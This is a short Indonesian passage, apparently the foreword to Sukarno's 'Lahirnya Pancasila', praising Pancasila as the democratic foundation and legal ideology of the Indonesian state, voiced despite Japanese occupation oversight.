”Bila kita pelajari dan selidiki sungguh-sungguh “Lahirnya Pancasila” ini, akan ternyata bahwa ini adalah suatu Demokratisch Beginsel, suatu Beginsel yang menjadi dasar Negara kita, yang menjadi Rechtsideologie Negara kita; suatu Beginsel yang telah meresap dan berurat-berakar dalam jiwa Bung Karno, dan yang telah keluar dari jiwanya secara spontan, meskipun sidang ada dibawah penilikan yang keras dari Pemerintah Balatentara Jepang. Memang jiwa yang berhasrat merdeka, tak mungkin dikekang-kekang! Selama Fascisme Jepang berkuasa dinegeri kita, Demokratisch Idee tersebut tak pernah dilepaskan oleh Bung Karno, selalu dipegangnya teguh-teguh dan senantiasa dicarikannya jalan untuk mewujudkannya. Mudah-mudahan ”Lahirnya Pancasila” ini dapat dijadikan pedoman oleh nusa dan bangsa kita seluruhnya dalam usaha memperjuangkan dan menyempurnakan Kemerdekaan Negara.”